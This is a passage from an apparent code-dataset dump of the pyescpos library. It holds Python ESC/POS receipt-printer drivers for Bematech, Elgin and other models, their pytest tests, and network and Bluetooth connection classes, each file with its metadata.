printer.code128('123EGGS',\n barcode_height=90,\n barcode_width=BARCODE_NORMAL_WIDTH,\n barcode_hri=BARCODE_HRI_BOTTOM)\n\n assert printer.device.write_buffer == ''.join([\n '\\x1D\\x68\\x5A', # barcode height\n '\\x1D\\x77\\x02', # barcode width\n '\\x1D\\x48\\x02', # barcode HRI\n '\\x1D\\x6B\\x49\\x07123EGGS',])\n\n\ndef test_qrcode(printer):\n # Bematech's documentation about QRCode is not clear, at least at the\n # time I wrote this code. Thus `qrcode` method simple does not honor\n # expected QRCode arguments. Read the warning in `qrcode` implementation\n # if you want more details.\n data = 'http://www.example.com'\n size_L = len(data) % 255\n size_H = len(data) // 255\n\n printer.qrcode(data)\n assert printer.device.write_buffer == ''.join([\n '\\x1D\\x6B\\x51', # QRCode command\n '\\x03\\x08\\x08\\x01', # unknown parameter values,\n chr(size_L), # LO data length\n chr(size_H), # HI data length\n data,])\n\n\ndef test_cash_drawer(printer):\n printer.kick_drawer(port=0) # default duration should be 200ms (C8h)\n assert printer.device.write_buffer == '\\x1B\\x76\\xC8'\n\n printer.kick_drawer(port=0, duration=250) # max duration 250ms (FAh)\n assert printer.device.write_buffer == '\\x1B\\x76\\xFA'\n\n printer.kick_drawer(port=0, duration=50) # min duration 50ms (32h)\n assert printer.device.write_buffer == '\\x1B\\x76\\x32'\n\n with pytest.raises(ValueError):\n # duration lower than minimum duration\n printer.kick_drawer(port=0, duration=49)\n\n with pytest.raises(ValueError):\n # duration higher than maximum duration\n printer.kick_drawer(port=0, duration=251)\n\n with pytest.raises(CashDrawerException):\n # Bematech MP-4200 TH has only one cash drawer port\n printer.kick_drawer(port=1)\n\n\ndef test_two_cash_drawer_ports():\n # since ESC/Bematech command set supports up to 2 ports\n printer = MP4200TH(pytest.FakeDevice(), {\n feature.CASHDRAWER_AVAILABLE_PORTS: 2\n })\n\n printer.kick_drawer(port=1) # default duration should be 200ms (0xC8)\n assert printer.device.write_buffer == '\\x1B\\x80\\xC8'\n\n\ndef test_with_more_cash_drawer_ports_than_escbematech_supports():\n # although we set available cash ports to three ports, ESC/Bematech\n # command set only supports two ports\n printer = MP4200TH(pytest.FakeDevice(), {\n feature.CASHDRAWER_AVAILABLE_PORTS: 3\n })\n\n with pytest.raises(CashDrawerException):\n printer.kick_drawer(port=3)\n" }, { "alpha_fraction": 0.6202011108398438, "alphanum_fraction": 0.6439670920372009, "avg_line_length": 28.97260284423828, "blob_id": "ca8d17cbbeda310b31435e904ffd5ab7302d0e6a", "content_id": "9de8aec7061327600a48e6272ccfbf91a470ef5d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2190, "license_type": "permissive", "max_line_length": 79, "num_lines": 73, "path": "/escpos/impl/unknown.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/impl/unknown.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom .. import feature\nfrom ..helpers import _Model\nfrom .epson import GenericESCPOS\n\n\n_VENDOR = u'Unknown OEM'\n\n\nclass CB55C(GenericESCPOS):\n \"\"\"Model CB55-C (unknown OEM) thermal receipt printer.\n\n .. note::\n\n Implementation based on a CB55-C embedded in Nitere NPDV-1020 model\n TMF-101/IG by Nitere Indústria de Produtos Eletrônicos Ltda EPP.\n\n .. note::\n\n When there is **NO** cash drawer connected, the command that follows\n method :meth:`~escpos.impl.epson.GenericESCPOS.kick_drawer` will likely\n fail.\n\n \"\"\"\n\n model = _Model(name=u'CB55-C', vendor=_VENDOR)\n\n\n def __init__(self, device, features={}):\n super(CB55C, self).__init__(device)\n self.hardware_features.update({\n feature.CUTTER: True,\n feature.CASHDRAWER_PORTS: True,\n feature.CASHDRAWER_AVAILABLE_PORTS: 1,\n })\n self.hardware_features.update(features)\n\n\n def set_expanded(self, flag):\n # ESC W m : double width mode\n param = '\\x01' if flag else '\\x00' # <m> 0=disable; 1=enable\n self.device.write('\\x1B\\x57' + param)\n\n\n def set_condensed(self, flag):\n # ESC ! n : formatting characters\n param = '\\x01' if flag else '\\x00' # <n> 0=disable; 1=enable (bit 0)\n self.device.write('\\x1B\\x21' + param)\n\n\n def set_emphasized(self, flag):\n # ESC E : Enable emphasized mode\n # ESC F : Disable emphasized mode\n param = '\\x45' if flag else '\\x46'\n self.device.write('\\x1B' + param)\n" }, { "alpha_fraction": 0.6802685856819153, "alphanum_fraction": 0.6885330677032471, "avg_line_length": 29.73015785217285, "blob_id": "474a4771eb812de6e16faed91fc6c93091aa108b", "content_id": "ee278222581d0785b4ff22240bf4507b987d48d1", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1936, "license_type": "permissive", "max_line_length": 80, "num_lines": 63, "path": "/escpos/tests/test_helpers.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/tests/test_helpers.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom __future__ import absolute_import\n\nimport time\nimport pytest\n\nfrom escpos.exceptions import TimeoutException\nfrom escpos.helpers import chunks\nfrom escpos.helpers import TimeoutHelper\nfrom escpos.helpers import find_implementations\n\n\ndef test_chunk():\n data = 'ABCDEFG'\n chunk_size = 3\n for chunk in chunks(data, chunk_size):\n assert len(chunk) <= chunk_size, 'Unexpected chunk size (expecting '\\\n 'chunks of 3 or less elements)'\n\n\ndef test_timeout():\n timeout = TimeoutHelper(timeout=0.5)\n timeout.set()\n with pytest.raises(TimeoutException):\n time.sleep(1)\n timeout.check()\n\n\ndef test_find_implementations():\n impls = find_implementations()\n assert isinstance(impls, tuple)\n assert len(impls) >= 1\n\n expected_fqname = 'escpos.impl.epson.GenericESCPOS'\n\n for impl in impls:\n if impl.fqname == expected_fqname:\n instance = impl.type(pytest.FakeDevice())\n assert instance.model.name == impl.model.name\n assert instance.model.vendor == impl.model.vendor\n break\n else:\n found_fqnames = [i.fqname for i in impls]\n raise RuntimeError('Cannot find expected FQ name {!r}; found FQ names: '\n '{!r}'.format(expected_fqname, found_fqnames))\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 13, "blob_id": "7031df22642d1005fb03f09b7a49ffa854f79627", "content_id": "b1ef3e738d16e519894796c4e14b55f4d9688930", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 27, "license_type": "permissive", "max_line_length": 21, "num_lines": 2, "path": "/.coveragerc", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "[run]\nomit = escpos/tests/*" }, { "alpha_fraction": 0.5890514850616455, "alphanum_fraction": 0.6173057556152344, "avg_line_length": 29.251909255981445, "blob_id": "eca844d6eb6d54a4eb98ad9e2080e119ecfabd78", "content_id": "dcab1450bbf0d7ab3b8c65ffe866c9c8c5c0ca5a", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3964, "license_type": "permissive", "max_line_length": 77, "num_lines": 131, "path": "/escpos/impl/elgin.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/impl/elgin.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\"\"\"\n `Elgin <http://www.elgin.com.br/>`_ ESC/POS printer implementation.\n\"\"\"\n\nfrom .. import barcode\nfrom .. import feature\nfrom ..constants import CASHDRAWER_DEFAULT_DURATION\nfrom ..helpers import _Model\nfrom .epson import GenericESCPOS\n\n\n_VENDOR = u'Elgin S/A'\n\n\nclass ElginGeneric(GenericESCPOS):\n \"\"\"\n Base implementation for Elgin ESC/POS mini-printers.\n \"\"\"\n\n model = _Model(name=u'Generic Elgin', vendor=_VENDOR)\n\n\n def __init__(self, device, features={}):\n super(ElginGeneric, self).__init__(device)\n self.hardware_features.update({\n feature.CUTTER: False,\n feature.CASHDRAWER_PORTS: True,\n feature.CASHDRAWER_AVAILABLE_PORTS: 1,\n })\n self.hardware_features.update(features)\n\n\n\nclass ElginI9(ElginGeneric):\n \"\"\"\n Implementation for Elgin i9 thermal mini-printer.\n \"\"\"\n\n model = _Model(name=u'Elgin I9', vendor=_VENDOR)\n\n\n def __init__(self, device, features={}):\n super(ElginI9, self).__init__(device)\n self.hardware_features.update({feature.CUTTER: True})\n self.hardware_features.update(features)\n\n\n def set_expanded(self, flag):\n w = 1 if flag else 0 # magnification (Nx)\n self.set_text_size(w, 0)\n\n\n def set_condensed(self, flag):\n # 00h = character font A (12x24, normal)\n # 01h = character font B (9x17, condensed)\n param = '\\x01' if flag else '\\x00'\n self.device.write('\\x1B\\x4D' + param)\n\n\n def _kick_drawer_impl(self, port=0, **kwargs):\n # param 'm' 0x00 or 0x30 (0, 48) for pin 2\n # param 'm' 0x01 or 0x31 (1, 49) for pin 5\n pin = '\\x00' if port == 0 else '\\x01'\n\n # pulse duration (0 <= duration <= 255)\n # [1] although the manual says that t1 and t2 should lie in between 0\n # and 255, if t1 is a very low value the drawer may not be kicked!\n duration = kwargs.get('duration', CASHDRAWER_DEFAULT_DURATION)\n t1 = kwargs.get('t1', '\\x20') # 32ms (t1 should be less than t2) [1]\n t2 = kwargs.get('t2', None) or chr(ord(t1) + duration)\n\n self.device.write('\\x1B\\x70' + pin + t1 + t2)\n\n\nclass ElginI7(ElginI9):\n \"\"\"\n Implementation for Elgin i7 thermal mini-printer.\n \"\"\"\n\n model = _Model(name=u'Elgin I7', vendor=_VENDOR)\n\n\n def __init__(self, device, features={}):\n super(ElginI7, self).__init__(device)\n self.hardware_features.update({feature.CUTTER: False})\n self.hardware_features.update(features)\n\n\nclass ElginRM22(ElginI9):\n \"\"\"Implementation for Elgin RM-22 portable thermal printer.\"\"\"\n\n model = _Model(name=u'Elgin RM-22', vendor=_VENDOR)\n\n\n def __init__(self, device, features={}):\n super(ElginRM22, self).__init__(device)\n self.hardware_features.update({\n feature.CUTTER: False,\n feature.CASHDRAWER_PORTS: False,\n feature.CASHDRAWER_AVAILABLE_PORTS: 0,\n feature.PORTABLE: True,\n feature.COLUMNS: feature.Columns(\n normal=32,\n expanded=16,\n condensed=42),\n })\n self.hardware_features.update(features)\n\n\n def _kick_drawer_impl(self, port=0, **kwargs):\n # honor cash-drawer absence behavior (do nothing)\n pass\n\n" }, { "alpha_fraction": 0.5758482813835144, "alphanum_fraction": 0.5841649770736694, "avg_line_length": 28.47058868408203, "blob_id": "f5f6f3b8285c641c4f800937ed3d9d95238d82d9", "content_id": "2d91677062e22ab7233d003202199879f39cd50d", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6012, "license_type": "permissive", "max_line_length": 95, "num_lines": 204, "path": "/escpos/conn/network.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/conn/network.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom __future__ import absolute_import\n\nimport select\nimport socket\n\nfrom six.moves import range\nfrom six import text_type\n\nfrom .. import config\nfrom ..exceptions import NonReadableSocketError\nfrom ..exceptions import NonWritableSocketError\nfrom ..retry import backoff\n\n\nDEFAULT_READ_BUFSIZE = 4096\n\n_RETRY_EXCEPTIONS = (\n NonReadableSocketError,\n NonWritableSocketError,\n socket.error,)\n\n\nconfig.configure()\n\n\nclass NetworkConnection(object):\n \"\"\"Implements a potentially resilient network TCP/IP connection.\"\"\"\n\n SETTINGS_EXAMPLE = '192.168.0.100:9100'\n\n\n @classmethod\n def create(cls, setting, **kwargs):\n \"\"\"Instantiate a :class:`NetworkConnection` (or subclass) object based\n on a given host name and port number (eg. ``192.168.0.205:9100``).\n \"\"\"\n host, port = setting.rsplit(':', 1)\n return cls(host, int(port), **kwargs)\n\n\n def __init__(self, host, port,\n address_family=socket.AF_INET,\n socket_type=socket.SOCK_STREAM,\n select_timeout=1.0,\n read_buffer_size=DEFAULT_READ_BUFSIZE):\n\n super(NetworkConnection, self).__init__()\n\n self.socket = None\n self.host_name = host\n self.port_number = port\n self.address_family = address_family\n self.socket_type = socket_type\n self.select_timeout = select_timeout\n self.read_buffer_size = read_buffer_size\n\n\n def __del__(self):\n self._raw_release()\n\n\n def _raise_with_details(self, message, exctype=RuntimeError):\n raise exctype('{}: {!r} (host={!r}, port={!r}, '\n 'socket address family={!r}, socket type={!r})'.format(\n message,\n self.socket,\n self.host_name,\n self.port_number,\n self.address_family,\n self.socket_type))\n\n\n def _reconnect(self):\n self._raw_release()\n self._raw_catch()\n\n\n def _assert_writable(self):\n # check if we can write to socket; if not, make one attempt to\n # reconnect before raising an exception\n if self.socket is None:\n self._reconnect()\n\n for tries in range(2):\n readable, writable, in_error = select.select(\n [],\n [self.socket,],\n [self.socket,], self.select_timeout)\n if writable:\n break\n else:\n self._reconnect()\n else:\n self._raise_with_details('cannot read from socket', exctype=NonWritableSocketError)\n\n\n def _assert_readable(self):\n # check if we can read from socket; if not, make one attempt to\n # reconnect before raising an exception\n if self.socket is None:\n self._reconnect()\n\n for tries in range(2):\n readable, writable, in_error = select.select(\n [self.socket,],\n [],\n [self.socket,], self.select_timeout)\n if readable:\n break\n else:\n self._reconnect()\n else:\n self._raise_with_details('cannot read from socket', exctype=NonReadableSocketError)\n\n\n def _raw_release(self):\n if self.socket is not None:\n self.socket.shutdown(socket.SHUT_RDWR)\n self.socket.close()\n self.socket = None\n\n\n def _raw_catch(self):\n # [*] TCP_NODELAY disable Nagle's algorithm so that even small TCP\n # packets will be sent immediately.\n # https://en.wikipedia.org/wiki/Nagle's_algorithm\n self.socket = socket.socket(self.address_family, self.socket_type)\n self.socket.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # [*]\n self.socket.connect((self.host_name, self.port_number))\n\n\n def _raw_write(self, data):\n self._assert_writable()\n if isinstance(data, text_type):\n data = data.encode()\n totalsent = 0\n while totalsent < len(data):\n sent = self.socket.send(data[totalsent:])\n if sent == 0:\n self._raise_with_details('socket connection broken')\n totalsent += sent\n\n\n def _raw_read(self):\n try:\n self._assert_readable()\n return self.socket.recv(self.read_buffer_size)\n except:\n return ''\n\n\n @backoff(\n max_tries=config.retry.max_tries,\n delay=config.retry.delay,\n factor=config.retry.factor,\n exceptions=_RETRY_EXCEPTIONS)\n def release(self):\n return self._raw_release()\n\n\n @backoff(\n max_tries=config.retry.max_tries,\n delay=config.retry.delay,\n factor=config.retry.factor,\n exceptions=_RETRY_EXCEPTIONS)\n def catch(self):\n return self._raw_catch()\n\n\n @backoff(\n max_tries=config.retry.max_tries,\n delay=config.retry.delay,\n factor=config.retry.factor,\n exceptions=_RETRY_EXCEPTIONS)\n def write(self, data):\n return self._raw_write(data)\n\n\n @backoff(\n max_tries=config.retry.max_tries,\n delay=config.retry.delay,\n factor=config.retry.factor,\n exceptions=_RETRY_EXCEPTIONS)\n def read(self):\n return self._raw_read()\n" }, { "alpha_fraction": 0.5815455913543701, "alphanum_fraction": 0.6004388332366943, "avg_line_length": 32.21052551269531, "blob_id": "f1afd32679c010764ac1949d807f4aa184322dc6", "content_id": "5b5018546b38dd2a8cba33d36507fb5d7b0a673b", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8208, "license_type": "permissive", "max_line_length": 93, "num_lines": 247, "path": "/escpos/impl/bematech.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/impl/bematech.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\"\"\"\n `Bematech S.A. <http://www.bematechus.com/>`_ ESC/POS printer implementation\n and ESC/POS derivative command sets.\n\n This manufacturer embed two sets of commands, the default ESC/POS and\n another one called *ESC/Bematech* which is based on their own standards,\n although looks like some sort of a derivative work.\n\"\"\"\n\nimport re\nimport time\n\nfrom six.moves import range\n\nfrom .. import barcode\nfrom .. import feature\nfrom ..constants import CASHDRAWER_DEFAULT_DURATION\nfrom ..exceptions import CashDrawerException\nfrom ..helpers import is_value_in\nfrom ..helpers import _Model\nfrom .epson import GenericESCPOS\n\n\n_VENDOR = u'Bematech S/A'\n\n\n_CASHDRAWER_DURATION_MIN = 50\n_CASHDRAWER_DURATION_MAX = 250\n\n\nclass _CommandSet(object):\n\n def __init__(self, impl):\n super(_CommandSet, self).__init__()\n self._impl = impl\n\n\nclass _ESCPOS(_CommandSet):\n \"\"\"\n Implementation of the ESC/POS standard according to the POS Printer\n MP-4200 TH Programmer’s Manual, revision 1.0.\n \"\"\"\n pass\n\n\nclass _ESCBematech(_CommandSet):\n \"\"\"\n Implementation of the ESC/Bematech standard according to the POS Printer\n MP-4200 TH Programmer’s Manual, revision 1.0.\n \"\"\"\n\n def set_expanded(self, flag):\n onoff = '\\x31' if flag else '\\x30'\n self._impl.device.write('\\x1B\\x57' + onoff) # ESC W n\n\n\n def set_condensed(self, flag):\n onoff = '\\x0F' if flag else '\\x48'\n self._impl.device.write('\\x1B' + onoff)\n\n\n def set_emphasized(self, flag):\n onoff = '\\x45' if flag else '\\x46'\n self._impl.device.write('\\x1B' + onoff)\n\n\n def _barcode_configure(self, **kwargs):\n if 'barcode_height' in kwargs:\n barcode_height = kwargs.get('barcode_height')\n self._impl.device.write('\\x1D\\x68' + chr(barcode_height))\n\n if 'barcode_width' in kwargs:\n widths = {\n barcode.BARCODE_NORMAL_WIDTH: 2,\n barcode.BARCODE_DOUBLE_WIDTH: 3,\n barcode.BARCODE_QUADRUPLE_WIDTH: 4,}\n barcode_width = widths.get(kwargs.get('barcode_width'))\n self._impl.device.write('\\x1D\\x77' + chr(barcode_width))\n\n if 'barcode_hri' in kwargs:\n values = {\n barcode.BARCODE_HRI_NONE: 0,\n barcode.BARCODE_HRI_TOP: 1,\n barcode.BARCODE_HRI_BOTTOM: 2,\n barcode.BARCODE_HRI_BOTH: 3,}\n barcode_hri = values.get(kwargs.get('barcode_hri'))\n self._impl.device.write('\\x1D\\x48' + chr(barcode_hri))\n\n\n def _barcode_render(self, command):\n self._impl.device.write(command)\n time.sleep(0.25)\n return self._impl.device.read()\n\n\n def code128(self, data, **kwargs):\n self._barcode_configure(**kwargs)\n return self._barcode_render(\n '\\x1D\\x6B\\x49{}{}'.format(chr(len(data)), data))\n\n\n def qrcode(self, data, **kwargs):\n # IMPORTANT WARNING\n #\n # Bematech provides a poor documentation for QRCodes [1] in a couple\n # of \"developer partners\" articles at their web-site, available only in\n # brazilian portuguese, despite its name. These articles does not\n # describe the meaning of 4 parameters.\n #\n # The values used bellow was borrowed from ACBr project [2], where\n # QRCodes are used in receipts for \"NFC-e\" which is an eletronic legal\n # document.\n #\n # Further illumination was taken from [3].\n #\n # [1] http://partners.bematech.com.br/bemacast/Paginas/post.aspx?idPost=6162\n # [2] http://svn.code.sf.net/p/acbr/code/trunk/Fontes/ACBrNFe2/ACBrNFeDANFeESCPOS.pas\n # [3] http://www.pctoledo.com.br/forum/viewtopic.php?f=20&t=17161\n #\n # Since link [1] isn't a permalink, don't be surprised if it's broken.\n #\n _qr_size_param_0 = 3\n _qr_size_param_1 = 8\n _qr_size_param_2 = 8\n _qr_size_param_3 = 1\n\n size_H, size_L = divmod(len(data), 256)\n\n command = '\\x1D\\x6B\\x51' + \\\n chr(_qr_size_param_0) + \\\n chr(_qr_size_param_1) + \\\n chr(_qr_size_param_2) + \\\n chr(_qr_size_param_3) + \\\n chr(size_L) + \\\n chr(size_H) + \\\n data\n\n self._impl.device.write(command)\n time.sleep(1) # sleeps one second for qrcode to be printed\n response = self._impl.device.read()\n return response\n\n\n def kick_drawer(self, port=0, **kwargs):\n # although concrete implementations may have any number of available\n # cash drawer ports, ESC/Bematech foresees two cash drawers anyways\n available_ports = self._impl.hardware_features.get(\n feature.CASHDRAWER_AVAILABLE_PORTS)\n\n if port not in range(available_ports):\n ports_list = ', '.join(str(p) for p in range(available_ports))\n raise CashDrawerException('invalid cash drawer port: {!r} '\n '(hardware features only ports: {})'.format(\n port,\n ports_list))\n\n duration = kwargs.get('duration', CASHDRAWER_DEFAULT_DURATION)\n if duration not in range(\n _CASHDRAWER_DURATION_MIN, _CASHDRAWER_DURATION_MAX + 1):\n raise ValueError('illegal cash drawer activation duration: {!r} '\n '(in milliseconds, ranging from {!r} up to {!r}'.format(\n duration,\n _CASHDRAWER_DURATION_MIN,\n _CASHDRAWER_DURATION_MAX))\n\n if port == 0:\n # activate cash drawer #1 (ESC 76h)\n self._impl.device.write('\\x1B\\x76' + chr(duration))\n\n elif port == 1:\n # activate cash drawer #2 (ESC 80h)\n self._impl.device.write('\\x1B\\x80' + chr(duration))\n\n else:\n raise CashDrawerException('invalid cash drawer port: {!r} '\n '(ESC/Bematech foresees only ports 0 and 1'.format(port))\n\n\nclass MP4200TH(GenericESCPOS):\n \"\"\"\n Implementation for the Bematech MP-4200 TH POS Printer based on a dual\n command set, ESC/POS and ESC/Bematech, with automatic switching between\n command sets depending on the operation that needs to be performed.\n \"\"\"\n\n model = _Model(name=u'Bematech MP-4200 TH', vendor=_VENDOR)\n\n\n def __init__(self, device, features={}):\n super(MP4200TH, self).__init__(device)\n self.hardware_features.update({\n feature.CUTTER: True,\n feature.CASHDRAWER_PORTS: True,\n feature.CASHDRAWER_AVAILABLE_PORTS: 1,\n })\n self.hardware_features.update(features)\n self._escpos = _ESCPOS(self)\n self._escbema = _ESCBematech(self)\n\n\n def set_expanded(self, flag):\n self._escbema.set_expanded(flag)\n\n\n def set_condensed(self, flag):\n self._escbema.set_condensed(flag)\n\n\n def set_emphasized(self, flag):\n self._escbema.set_emphasized(flag)\n\n\n def cut(self, partial=True):\n if self.hardware_features.get(feature.CUTTER, False):\n param = '\\x6D' if partial else '\\x69'\n self.device.write('\\x1B' + param)\n\n\n def _code128_impl(self, data, **kwargs):\n return self._escbema.code128(data, **kwargs)\n\n\n def _qrcode_impl(self, data, **kwargs):\n return self._escbema.qrcode(data, **kwargs)\n\n\n def _kick_drawer_impl(self, port=0, **kwargs):\n return self._escbema.kick_drawer(port=port, **kwargs)\n\n" }, { "alpha_fraction": 0.6149560809135437, "alphanum_fraction": 0.6293122172355652, "avg_line_length": 28.352201461791992, "blob_id": "185acdfc8e4d8575e348e2a859a99f8c2c2585da", "content_id": "7d64eec107db07bb784008316dafac6dd4626331", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4668, "license_type": "permissive", "max_line_length": 98, "num_lines": 159, "path": "/escpos/conn/bt.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/conn/bt.py\n#\n# Copyright 2018 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom __future__ import absolute_import\n\nimport logging\nimport socket\n\nimport bluetooth\n\nfrom .. import config\nfrom ..retry import backoff\n\n\n_RETRY_EXCEPTIONS = (\n bluetooth.BluetoothError,)\n\n\nconfig.configure()\n\n\nlogger = logging.getLogger('escpos.conn.bt')\n\n\nclass BluetoothConnectionError(Exception):\n pass\n\n\nclass BluetoothPortDiscoveryError(BluetoothConnectionError):\n pass\n\n\ndef find_rfcomm_port(address):\n services = bluetooth.find_service(address=address)\n if not services:\n raise BluetoothPortDiscoveryError('cannot find address: {!r}'.format(address))\n\n for service in services:\n if service['host'] == address and service['protocol'] == 'RFCOMM':\n return service['port']\n\n raise BluetoothPortDiscoveryError('cannot find RFCOMM port for address: {!r}'.format(address))\n\n\n\nclass BluetoothConnection(object):\n \"\"\"Implements a basic bluetooth RFCOMM communication façade.\"\"\"\n\n SETTINGS_EXAMPLE = '00:01:02:03:04:05/1'\n\n\n @classmethod\n def create(cls, settings):\n \"\"\"Create a :class:`BluetoothConnection`:\n\n .. sourcecode:: python\n\n from escpos import BluetoothConnection\n from escpos.impl.epson import GenericESCPOS\n\n conn = BluetoothConnection.create('00:01:02:03:04:05')\n printer = GenericESCPOS(conn)\n printer.init()\n printer.text('Hello World!')\n\n :param str settings: Bluetooth settings. You must specify bluetooth\n address as six hexadecimal octets, like ``00:01:02:03:04:05``.\n You can also specify a port number after address using a forward\n slash, like ``00:01:02:03:04:05/2``. If there is no port number,\n this method will use SPD (*Service Discovery Protocol*) to find a\n suitable port number for the given address at RFCOMM protocol.\n\n :raises BluetoothPortDiscoveryError: If port is not specified and the\n algorithm cannot find a RFCOMM port for the given address.\n \"\"\"\n fields = settings.rsplit('/', 1)\n address = fields[0]\n\n if len(fields) == 1:\n port = find_rfcomm_port(address)\n else:\n try:\n port = int(fields[1])\n except ValueError:\n raise BluetoothConnectionError('Invalid settings: {!r}'.format(settings))\n\n return cls(address, port=port)\n\n\n def __init__(self, address, port=1):\n super(BluetoothConnection, self).__init__()\n self.socket = None\n self.address = address\n self.port = port\n\n\n @backoff(\n max_tries=config.retry.max_tries,\n delay=config.retry.delay,\n factor=config.retry.factor,\n exceptions=_RETRY_EXCEPTIONS)\n def release(self):\n if self.socket is not None:\n self.socket.shutdown(socket.SHUT_RDWR)\n self.socket.close()\n self.socket = None\n\n\n @backoff(\n max_tries=config.retry.max_tries,\n delay=config.retry.delay,\n factor=config.retry.factor,\n exceptions=_RETRY_EXCEPTIONS)\n def catch(self):\n self.socket = bluetooth.BluetoothSocket(bluetooth.RFCOMM)\n self.socket.connect((self.address, self.port))\n\n\n @backoff(\n max_tries=config.retry.max_tries,\n delay=config.retry.delay,\n factor=config.retry.factor,\n exceptions=_RETRY_EXCEPTIONS)\n def write(self, data):\n totalsent = 0\n while totalsent < len(data):\n sent = self.socket.send(data[totalsent:])\n if sent == 0:\n self._raise_with_details('socket connection broken')\n totalsent += sent\n\n\n @backoff(\n max_tries=config.retry.max_tries,\n delay=config.retry.delay,\n factor=config.retry.factor,\n exceptions=_RETRY_EXCEPTIONS)\n def read(self):\n try:\n return self.socket.recv()\n except:\n logger.exception('read error')\n return ''\n" }, { "alpha_fraction": 0.582339882850647, "alphanum_fraction": 0.6076590418815613, "avg_line_length": 28.25308609008789, "blob_id": "2631a3a464db93f502ff898b294bcc90d84a55ca", "content_id": "5189841bec760597219f5fa9620ee37c93c350a0", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9479, "license_type": "permissive", "max_line_length": 79, "num_lines": 324, "path": "/escpos/barcode.py", "repo_name": "fabianoengler/pyescpos", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n#\n# escpos/barcode.py\n#\n# Copyright 2015 Base4 Sistemas Ltda ME\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\"\"\"\n Barcode normalization parameters/values.\n\n Implementations of 